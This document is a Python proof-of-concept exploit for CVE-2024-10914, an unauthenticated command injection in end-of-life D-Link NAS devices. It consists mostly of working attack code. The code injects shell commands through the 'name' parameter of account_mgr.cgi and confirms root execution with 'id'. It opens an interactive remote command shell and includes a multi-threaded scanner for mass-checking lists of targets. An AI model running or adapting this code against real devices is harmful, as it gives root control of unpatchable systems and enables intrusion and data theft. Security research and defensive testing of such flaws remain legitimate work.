# Exploit Title: D-Link DNS_340L - OS Command Injection # Date: 2026-07-16 # Exploit Author: Jared Brits (K3ysTr0K3R) # Vendor Homepage: https://www.dlink.com/ # Version: DNS-320 (v1.00), DNS-320LW (v1.01.0914.2012), DNS-325 (v1.01, v1.02), DNS-340L (v1.08), and possibly others # Tested on: D-Link DNS-320 # CVE: CVE-2024-10914 # CVSS Score: 9.8 (Critical) # Description: The /cgi-bin/account_mgr.cgi script on several D‑Link NAS devices is vulnerable to # unauthenticated command injection. The cgi_user_add command accepts a 'name' parameter # that is directly concatenated into a system() call without any sanitisation. # By injecting a semicolon‑terminated command, an attacker can execute arbitrary # operating system commands with root privileges. # # Confirmed affected models include DNS‑320, DNS‑320LW, DNS‑325, and DNS‑340L. # D‑Link has officially declared these products End of Life and will not release # a fix for this issue. There is evidence that this vulnerability is # already being exploited in the wild. The CVSSv3 base score is 9.8 (Critical). import re import requests from rich import print import argparse from alive_progress import alive_bar from prompt_toolkit import PromptSession from prompt_toolkit.formatted_text import HTML from prompt_toolkit.history import InMemoryHistory from concurrent.futures import ThreadPoolExecutor, as_completed def ascii_art(): print("[bold bright_magenta] _______ ________ ___ ____ ___ __ __ _______ ____ _____ __[/bold bright_magenta]") print("[bold bright_magenta] / ____/ | / / ____/ |__ \ / __ \__ \/ // / < / __ \/ __ < / // /[/bold bright_magenta]") print("[bold bright_magenta] / / | | / / __/________/ // / / /_/ / // /_______/ / / / / /_/ / / // /_[/bold bright_magenta]") print("[bold bright_magenta]/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/ / /_/ /\__, / /__ __/[/bold bright_magenta]") print("[bold bright_magenta]\____/ |___/_____/ /____/\____/____/ /_/ /_/\____//____/_/ /_/[/bold bright_magenta]") print("") print("Coded By: Jared Brits (K3ysTr0K3R)") print("") requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) payload = ["id"] endpoint = "/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';{};'" headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36'} def check_vulnerability(target): for command in payload: url = f"{target}{endpoint.format(command)}" try: response = requests.get(url, headers=headers, timeout=10, verify=False) response.raise_for_status() matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text) if matcher: print(f"[green][+] [/green]The target appears to be vulnerable") print(f"[green][+] [/green]Response: {matcher[0]}") return True except requests.RequestException: pass def exploit(target): session = PromptSession( HTML("Interactive Shell: "), history=InMemoryHistory(), ) print("[blue][*] [/blue]Interactive session shell started. Type 'exit' to quit") print("") while True: try: command = session.prompt(HTML("~$ ")).strip() if command.lower() in ["exit", "quit"]: print("[blue][*] [/blue]Exiting interactive session") break url = f"{target}{endpoint.format(command)}" response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: output = re.sub(r"Content-type:.*\n?", "", response.text).strip() print(output) else: print(f"[yellow][!] [/yellow]Command failed with status code: {response.status_code}") except KeyboardInterrupt: print("\n[blue][*] [/blue]Exiting interactive session") break except requests.RequestException: print(f"[yellow][!] [/yellow]An error occurred") def vuln_spray(target): for command in payload: url = f"{target}{endpoint.format(command)}" try: response = requests.get(url, headers=headers, timeout=10, verify=False) response.raise_for_status() matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text) if matcher: return True except requests.RequestException: pass def scan_file(file_path, threads): with open(file_path, 'r') as file: targets = [line.strip() for line in file if line.strip()] with alive_bar(len(targets), title="Scanning Targets", enrich_print=False) as bar: with ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(vuln_spray, target): target for target in targets} for future in as_completed(futures): bar() target = futures[future] try: if future.result(): print(f"[green][+] [/green]Target [bright_red]{target}[/bright_red] is vulnerable") except Exception: pass if __name__ == "__main__": ascii_art() parser = argparse.ArgumentParser(description="A PoC exploit for CVE-2024-10914 - D-Link Remote Code Execution (RCE)") parser.add_argument("-u", "--url", help="Single target URL to test") parser.add_argument("-f", "--file", help="File containing list of target URLs to scan") parser.add_argument("-t", "--threads", type=int, default=5, help="Number of threads to use for scanning (default: 5)") args = parser.parse_args() if args.url: print("[blue][*] [/blue]Checking if the target is vulnerable") if check_vulnerability(args.url): print("[blue][*] [/blue]Starting interactive session shell") exploit(args.url) else: print("[red][-] [/red]Target is not vulnerable") elif args.file: print(f"[blue][*] [/blue]Scanning targets from file: [bright_red]{args.file}[bright_red]") print(f"[blue][*] [/blue]Using {args.threads} threads for scanning") scan_file(args.file, args.threads) else: print("[red][-] [/red]Please provide either a URL with -u or a file with -f")